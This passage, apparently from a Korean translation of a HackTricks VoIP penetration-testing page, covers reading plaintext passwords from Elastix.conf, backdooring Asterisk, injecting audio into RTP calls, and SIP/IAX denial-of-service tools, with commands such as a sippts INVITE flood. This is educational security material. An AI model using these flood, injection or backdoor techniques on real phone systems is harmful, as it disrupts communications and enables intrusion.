μ‚¬μš©ν•˜μ—¬ λ°±λ„μ–΄λ‘œ μƒˆλ‘œμš΄ mysql μ‚¬μš©μžλ₯Ό 생성할 수 μžˆμŠ΅λ‹ˆλ‹€. * **`Elastix`** * **`Elastix.conf`** -> mysql root λΉ„λ°€λ²ˆν˜Έ, IMAPd λΉ„λ°€λ²ˆν˜Έ, μ›Ή κ΄€λ¦¬μž λΉ„λ°€λ²ˆν˜Έμ™€ 같은 μ—¬λŸ¬ λΉ„λ°€λ²ˆν˜Έλ₯Ό ν‰λ¬ΈμœΌλ‘œ ν¬ν•¨ν•©λ‹ˆλ‹€. * **μ—¬λŸ¬ 폴더**λŠ” μ†μƒλœ asterisk μ‚¬μš©μžμ—κ²Œ μ†ν•©λ‹ˆλ‹€(루트둜 μ‹€ν–‰λ˜μ§€ μ•ŠλŠ” 경우). 이 μ‚¬μš©μžλŠ” 이전 νŒŒμΌμ„ 읽을 수 있으며 ꡬ성도 μ œμ–΄ν•˜λ―€λ‘œ Asteriskκ°€ 싀행될 λ•Œ λ‹€λ₯Έ 백도어가 μžˆλŠ” λ°”μ΄λ„ˆλ¦¬λ₯Ό λ‘œλ“œν•˜λ„λ‘ λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€. ### RTP μ£Όμž… **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) 및 **`rtpmixsound`** (`sudo apt install rtpmixsound`)와 같은 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ λŒ€ν™”μ— **`.wav`** νŒŒμΌμ„ μ‚½μž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ˜λŠ” [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)의 슀크립트λ₯Ό μ‚¬μš©ν•˜μ—¬ **λŒ€ν™”λ₯Ό μŠ€μΊ”**ν•˜κ³ (**`rtpscan.pl`**), λŒ€ν™”μ— **`.wav`** νŒŒμΌμ„ μ „μ†‘ν•˜λ©°(**`rtpsend.pl`**), λŒ€ν™”μ— **λ…Έμ΄μ¦ˆλ₯Ό μ‚½μž…**ν•  수 μžˆμŠ΅λ‹ˆλ‹€(**`rtpflood.pl`**). ### DoS VoIP μ„œλ²„μ—μ„œ DoSλ₯Ό λ‹¬μ„±ν•˜κΈ° μœ„ν•œ μ—¬λŸ¬ 방법이 μžˆμŠ΅λ‹ˆλ‹€. * **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ν”ŒλŸ¬λ“œλŠ” λŒ€μƒμ—κ²Œ λ¬΄μ œν•œ λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν•©λ‹ˆλ‹€. * `sippts flood -i 10.10.0.10 -m invite -v` * **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS 핑은 μ„œλ²„ 응닡 μ‹œκ°„μ„ ν™•μΈν•˜κΈ° μœ„ν•΄ SIP 핑을 λ³΄λƒ…λ‹ˆλ‹€. * `sippts ping -i 10.10.0.10` * [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asteriskμ—μ„œ μ‚¬μš©ν•˜λŠ” DoS IAX ν”„λ‘œν† μ½œ * [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IPλ₯Ό 톡해 SIP/SDP INVITE λ©”μ‹œμ§€ ν”ŒλŸ¬λ”©μ„ μˆ˜ν–‰ν•˜λŠ” λ„κ΅¬μž…λ‹ˆλ‹€. * [**rtpflood**](https://www.kali.org/tools/rtpflood/): μ—¬λŸ¬ 개의 잘 ν˜•μ„±λœ RTP νŒ¨ν‚·μ„ μ „μ†‘ν•©λ‹ˆλ‹€. μ‚¬μš© 쀑인 RTP 포트λ₯Ό μ•Œμ•„μ•Ό ν•©λ‹ˆλ‹€(λ¨Όμ € μŠ€λ‹ˆν•‘). * [**SIPp**](https://github.com/SIPp/sipp): SIP νŠΈλž˜ν”½μ„ λΆ„μ„ν•˜κ³  생성할 수 μžˆμŠ΅λ‹ˆλ‹€. λ”°λΌμ„œ DoS에도 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. * [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP μŠ€μœ„μŠ€ ꡰ용 μΉΌ. SIP 곡격을 μˆ˜ν–‰ν•˜λŠ” 데에도 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. * 퍼저: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). ### OS 취약점 Asterisk와 같은 μ†Œν”„νŠΈμ›¨μ–΄λ₯Ό μ„€μΉ˜ν•˜λŠ” κ°€μž₯ μ‰¬μš΄ 방법은 이미 μ„€μΉ˜λœ **OS 배포판**을 λ‹€μš΄λ‘œλ“œν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. 예: **FreePBX, Elastix, Trixbox**... λ¬Έμ œλŠ” μž‘λ™ν•˜κΈ° μ‹œμž‘ν•˜λ©΄ μ‹œμŠ€ν…œ κ΄€λ¦¬μžκ°€ **λ‹€μ‹œ μ—…λ°μ΄νŠΈν•˜μ§€ μ•Šμ„ 수** 있으며 **취약점**이 μ‹œκ°„μ΄ 지남에 따라 발견될 κ²ƒμ΄λΌλŠ” μ μž…λ‹ˆλ‹€. ## References * [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) * [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) * [http://blog.pepelux.org/](http://blog.pepelux.org/) * [https://www.rtpbleed.com/](https://www.rtpbleed.com/) * [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4) * [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}